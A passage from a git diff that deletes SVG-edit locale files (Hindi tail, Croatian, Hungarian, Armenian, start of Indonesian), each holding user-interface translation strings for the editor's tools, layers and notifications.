-		"image_opt_embed": "एम्बेड डेटा (स्थानीय फ़ाइलें)",
-		"image_opt_ref": "फाइल के संदर्भ का प्रयोग",
-		"editor_prefs": "संपादक वरीयताएँ",
-		"icon_size": "चिह्न का आकार",
-		"language": "भाषा",
-		"background": "संपादक पृष्ठभूमि",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "नोट: पृष्ठभूमि छवि के साथ नहीं बचायी जाएगी",
-		"icon_large": "बड़ा",
-		"icon_medium": "मध्यम",
-		"icon_small": "छोटा",
-		"icon_xlarge": "बहुत बड़ा",
-		"select_predefined": "चुनें पूर्वनिर्धारित:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"अमान्य मूल्य",
-		"noContentToFitTo":"कोई सामग्री फिट करने के लिए उपलब्ध नहीं",
-		"dupeLayerName":"इस नाम कि परत पहले से मौजूद है !",
-		"enterUniqueLayerName":"कृपया परत का एक अद्वितीय नाम डालें",
-		"enterNewLayerName":"कृपया परत का एक नया नाम डालें",
-		"layerHasThatName":"परत का पहले से ही यही नाम है",
-		"QmoveElemsToLayer":"चयनित अंश को परत '%s' पर ले जाएँ ?",
-		"QwantToClear":"क्या आप छवि साफ़ करना चाहते हैं?\nयह आपके उन्डू  इतिहास को भी मिटा देगा!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"आपके एस.वी.जी. स्रोत में त्रुटियों थी.\nक्या आप मूल एस.वी.जी स्रोत पर वापिस जाना चाहते हैं?",
-		"QignoreSourceChanges":"एसवीजी स्रोत से लाये बदलावों को ध्यान न दें?",
-		"featNotSupported":"सुविधा असमर्थित है",
-		"enterNewImgURL":"नई छवि URL दर्ज करें",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.hr.js b/public/svg-edit/editor/locale/lang.hr.js
deleted file mode 100644
index 629abb34..00000000
--- a/public/svg-edit/editor/locale/lang.hr.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "hr",
-	dir : "ltr",
-	common: {
-		"ok": "Spremiti",
-		"cancel": "Odustani",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Kliknite promijeniti boju ispune, shift-click to promijeniti boju moždanog udara",
-		"zoom_level": "Promjena razine zumiranja",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Promjena boje ispune",
-		"stroke_color": "Promjena boje moždani udar",
-		"stroke_style": "Promijeni stroke crtica stil",
-		"stroke_width": "Promjena širine moždani udar",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Promijeni rotation angle",
-		"blur": "Change gaussian blur value",
-		"opacity": "Promjena odabrane stavke neprozirnost",
-		"circle_cx": "Promjena krug&#39;s CX koordinirati",
-		"circle_cy": "Cy Promijeni krug je koordinirati",
-		"circle_r": "Promjena krug je radijusa",
-		"ellipse_cx": "Promjena elipsa&#39;s CX koordinirati",
-		"ellipse_cy": "Cy Promijeni elipsa je koordinirati",
-		"ellipse_rx": "Promijeniti elipsa&#39;s x polumjer",
-		"ellipse_ry": "Promjena elipsa&#39;s y polumjer",
-		"line_x1": "Promijeni linija je početak x koordinatu",
-		"line_x2": "Promjena linije završetak x koordinatu",
-		"line_y1": "Promijeni linija je početak y koordinatu",
-		"line_y2": "Promjena linije završetak y koordinatu",
-		"rect_height": "Promijeni pravokutnik visine",
-		"rect_width": "Promijeni pravokutnik širine",
-		"corner_radius": "Promijeni Pravokutnik Corner Radius",
-		"image_width": "Promijeni sliku širine",
-		"image_height": "Promijeni sliku visina",
-		"image_url": "Promijeni URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Promjena sadržaja teksta",
-		"font_family": "Promjena fontova",
-		"font_size": "Change font size",
-		"bold": "Podebljani tekst",
-		"italic": "Italic Text"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Promijeni boju pozadine / neprozirnost",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Prilagodi na sve sadržaje",
-		"fit_to_canvas": "Prilagodi na platnu",
-		"fit_to_layer_content": "Prilagodi sloj sadržaj",
-		"fit_to_sel": "Prilagodi odabir",
-		"align_relative_to": "Poravnaj u odnosu na ...",
-		"relativeTo": "u odnosu na:",
-		"stranica": "stranica",
-		"largest_object": "najveći objekt",
-		"selected_objects": "izabrani objekti",
-		"smallest_object": "najmanji objekt",
-		"new_doc": "Nove slike",
-		"open_doc": "Otvori sliku",
-		"export_png": "Export as PNG",
-		"save_doc": "Spremanje slike",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Poravnaj dolje",
-		"align_center": "Centriraj",
-		"align_left": "Poravnaj lijevo",
-		"align_middle": "Poravnaj Srednji",
-		"align_right": "Poravnaj desno",
-		"align_top": "Poravnaj Top",
-		"mode_select": "Odaberite alat",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand Pravokutnik",
-		"mode_ellipse": "Elipsa",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Tekst Alat",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Alat za zumiranje",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Poništi",
-		"redo": "Redo",
-		"tool_source": "Uredi Source",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Grupa Elementi",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Razgrupiranje Elementi",
-		"docprops": "Svojstva dokumenta",
-		"imagelib": "Image Library",
-		"move_bottom": "Move to Bottom",
-		"move_top": "Pomakni na vrh",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Spremiti",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Brisanje sloja",
-		"move_down": "Move Layer Down",
-		"new": "New Layer",
-		"rename": "Preimenuj Layer",
-		"move_up": "Move Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Select predefinirane:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.hu.js b/public/svg-edit/editor/locale/lang.hu.js
deleted file mode 100644
index 00006869..00000000
--- a/public/svg-edit/editor/locale/lang.hu.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "hu",
-	dir : "ltr",
-	common: {
-		"ok": "Ment",
-		"cancel": "Szakítani",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Kattints ide a változások töltse szín, shift-click változtatni stroke color",
-		"zoom_level": "Change nagyítási",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Change töltse color",
-		"stroke_color": "Change stroke color",
-		"stroke_style": "Change stroke kötőjel style",
-		"stroke_width": "Change stroke width",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Váltás forgás szög",
-		"blur": "Change gaussian blur value",
-		"opacity": "A kijelölt elem opacity",
-		"circle_cx": "Change kör CX koordináta",
-		"circle_cy": "Change kör cy koordináta",
-		"circle_r": "Change kör sugara",
-		"ellipse_cx": "Change ellipszis&#39;s CX koordináta",
-		"ellipse_cy": "Change ellipszis&#39;s cy koordináta",
-		"ellipse_rx": "Change ellipszis&#39;s x sugarú",
-		"ellipse_ry": "Change ellipszis&#39;s y sugara",
-		"line_x1": "A sor kezd x koordináta",
-		"line_x2": "A sor vége az x koordináta",
-		"line_y1": "A sor kezd y koordináta",
-		"line_y2": "A sor vége az y koordináta",
-		"rect_height": "Change téglalap magassága",
-		"rect_width": "Change téglalap szélessége",
-		"corner_radius": "Change téglalap sarok sugara",
-		"image_width": "Change kép szélessége",
-		"image_height": "Kép módosítása height",
-		"image_url": "Change URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "A szöveg tartalma",
-		"font_family": "Change Betűcsalád",
-		"font_size": "Change font size",
-		"bold": "Félkövér szöveg",
-		"italic": "Dőlt szöveg"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Change background color / homályosság",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Illeszkednek az összes tartalom",
-		"fit_to_canvas": "Igazítás a vászonra",
-		"fit_to_layer_content": "Igazítás a réteg tartalma",
-		"fit_to_sel": "Igazítás a kiválasztási",
-		"align_relative_to": "Képest Igazítás ...",
-		"relativeTo": "relatív hogy:",
-		"Page": "Page",
-		"largest_object": "legnagyobb objektum",
-		"selected_objects": "választott tárgyak",
-		"smallest_object": "legkisebb objektum",
-		"new_doc": "Új kép",
-		"open_doc": "Kép megnyitása",
-		"export_png": "Export as PNG",
-		"save_doc": "Kép mentése más",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Alulra igazítás",
-		"align_center": "Középre igazítás",
-		"align_left": "Balra igazítás",
-		"align_middle": "Közép-align",
-		"align_right": "Jobbra igazítás",
-		"align_top": "Align Top",
-		"mode_select": "Válassza ki az eszközt",
-		"mode_fhpath": "Ceruza eszköz",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand téglalap",
-		"mode_ellipse": "Ellipszisszelet",
-		"mode_circle": "Körbe",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Szöveg eszköz",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Visszavon",
-		"redo": "Megismétléséhez",
-		"tool_source": "Szerkesztés Forrás",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Csoport elemei",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Szétbont elemei",
-		"docprops": "Dokumentum tulajdonságai",
-		"imagelib": "Image Library",
-		"move_bottom": "Mozgatás lefelé",
-		"move_top": "Move to Top",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Ment",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Réteg törlése",
-		"move_down": "Mozgatása lefelé",
-		"new": "Új réteg",
-		"rename": "Réteg átnevezése",
-		"move_up": "Move Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Válassza ki előre definiált:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.hy.js b/public/svg-edit/editor/locale/lang.hy.js
deleted file mode 100644
index 54851b77..00000000
--- a/public/svg-edit/editor/locale/lang.hy.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "hy",
-	dir : "ltr",
-	common: {
-		"ok": "Save",
-		"cancel": "Cancel",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Click to change fill color, shift-click to change stroke color",
-		"zoom_level": "Change zoom level",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Change fill color",
-		"stroke_color": "Change stroke color",
-		"stroke_style": "Change stroke dash style",
-		"stroke_width": "Change stroke width",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Change rotation angle",
-		"blur": "Change gaussian blur value",
-		"opacity": "Change selected item opacity",
-		"circle_cx": "Change circle's cx coordinate",
-		"circle_cy": "Change circle's cy coordinate",
-		"circle_r": "Change circle's radius",
-		"ellipse_cx": "Change ellipse's cx coordinate",
-		"ellipse_cy": "Change ellipse's cy coordinate",
-		"ellipse_rx": "Change ellipse's x radius",
-		"ellipse_ry": "Change ellipse's y radius",
-		"line_x1": "Change line's starting x coordinate",
-		"line_x2": "Change line's ending x coordinate",
-		"line_y1": "Change line's starting y coordinate",
-		"line_y2": "Change line's ending y coordinate",
-		"rect_height": "Change rectangle height",
-		"rect_width": "Change rectangle width",
-		"corner_radius": "Change Rectangle Corner Radius",
-		"image_width": "Change image width",
-		"image_height": "Change image height",
-		"image_url": "Change URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Change text contents",
-		"font_family": "Change Font Family",
-		"font_size": "Change Font Size",
-		"bold": "Bold Text",
-		"italic": "Italic Text"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Change background color/opacity",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Fit to all content",
-		"fit_to_canvas": "Fit to canvas",
-		"fit_to_layer_content": "Fit to layer content",
-		"fit_to_sel": "Fit to selection",
-		"align_relative_to": "Align relative to ...",
-		"relativeTo": "relative to:",
-		"page": "page",
-		"largest_object": "largest object",
-		"selected_objects": "elected objects",
-		"smallest_object": "smallest object",
-		"new_doc": "New Image",
-		"open_doc": "Open Image",
-		"export_png": "Export as PNG",
-		"save_doc": "Save Image",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align Bottom",
-		"align_center": "Align Center",
-		"align_left": "Align Left",
-		"align_middle": "Align Middle",
-		"align_right": "Align Right",
-		"align_top": "Align Top",
-		"mode_select": "Select Tool",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand Rectangle",
-		"mode_ellipse": "Ellipse",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Undo",
-		"redo": "Redo",
-		"tool_source": "Edit Source",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Group Elements",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Ungroup Elements",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Move to Bottom",
-		"move_top": "Move to Top",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Save",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Delete Layer",
-		"move_down": "Move Layer Down",
-		"new": "New Layer",
-		"rename": "Rename Layer",
-		"move_up": "Move Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Select predefined:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.id.js b/public/svg-edit/editor/locale/lang.id.js
deleted file mode 100644
index aedfa756..00000000
--- a/public/svg-edit/editor/locale/lang.id.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "id",
-	dir : "ltr",
-	common: {
-		"ok": "Simpan",
-		"cancel": "Batal",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Klik untuk mengubah warna mengisi, shift-klik untuk mengubah warna stroke",
-		"zoom_level": "Mengubah tingkat pembesaran",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Ubah warna mengisi",
